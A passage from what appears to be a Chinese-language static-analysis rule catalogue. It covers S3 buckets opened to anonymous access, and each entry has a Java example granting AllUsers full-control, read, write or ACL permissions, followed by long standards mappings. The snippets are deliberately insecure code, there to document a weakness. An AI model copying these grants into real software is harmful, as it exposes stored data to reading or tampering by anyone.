[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[56] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.swift.insecure_storage_persistent_named_pasteboard
Abstract
应用程序可授予对 AWS S3 存储桶或对象的完全匿名访问权限。
Explanation
授予对存储桶或对象的完全匿名访问权限将允许攻击者读取内容或将其替换为恶意内容。

示例 1:以下代码设置的Access Control Policy可授予对 foo 存储桶的完全匿名访问权限。


GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();

Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("FullControl");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);

AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[5] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[7] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[10] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements (L2 L3), 1.4.4 Access Control Architectural Requirements (L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[13] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[14] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[15] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[16] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.3.1, Requirement 3.3.2, Requirement 3.3.3, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[31] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.java.insecure_storage_s3_full_anonymous_access
Abstract
应用程序可授予匿名读取 AWS S3 存储桶或对象的访问控制策略 (ACP) 的权限。
Explanation
授予匿名读取存储桶或对象的访问控制策略 (ACP) 的权限将允许攻击者发现可以检索或覆盖的对象。

示例 1:以下代码设置的Access Control Policy可授予对 foo 存储桶的匿名读取 ACP 访问权限。


GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();

Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("READ_ACP");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);

AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[5] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[7] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[10] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements (L2 L3), 1.4.4 Access Control Architectural Requirements (L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[13] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[14] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[15] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[16] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.3.1, Requirement 3.3.2, Requirement 3.3.3, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[31] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.java.insecure_storage_s3_read_acp_anonymous_access
Abstract
应用程序可授予对 AWS S3 存储桶或对象的匿名读取访问权限。
Explanation
授予对存储桶或对象的匿名读取访问权限将允许攻击者读取其内容。

示例 1:以下代码设置的Access Control Policy可授予对 foo 存储桶的匿名读取访问权限。


GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();

Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("Read");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);

AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[5] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[7] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[10] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements (L2 L3), 1.4.4 Access Control Architectural Requirements (L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[13] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[14] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[15] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[16] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.3.1, Requirement 3.3.2, Requirement 3.3.3, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[31] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.java.insecure_storage_s3_read_anonymous_access
Abstract
应用程序可授予匿名写入 AWS S3 存储桶或对象的访问控制策略 (ACP) 的权限。
Explanation
授予匿名写入存储桶或对象的访问控制策略 (ACP) 的权限将允许攻击者在该存储桶中读取或写入任意内容。

示例 1:以下代码设置的Access Control Policy可授予对 foo 存储桶的匿名写入 ACP 访问权限。


GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();

Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("WRITE_ACP");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);

AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[5] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[7] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[10] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements (L2 L3), 1.4.4 Access Control Architectural Requirements (L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[13] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[14] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[15] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[16] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.3.1, Requirement 3.3.2, Requirement 3.3.3, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[31] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.java.insecure_storage_s3_write_acp_anonymous_access
Abstract
应用程序可授予对 AWS S3 存储桶或对象的匿名写入访问权限。
Explanation
授予对存储桶或对象的匿名写入访问权限将允许攻击者替换内容或上传恶意内容。

示例 1:以下代码设置的Access Control Policy可授予对 foo 存储桶的匿名写入访问权限。


GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();

Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("Write");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);

AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[5] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[7] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[10] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements (L2 L3), 1.4.4 Access Control Architectural Requirements (L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[13] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[14] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[15] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[16] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
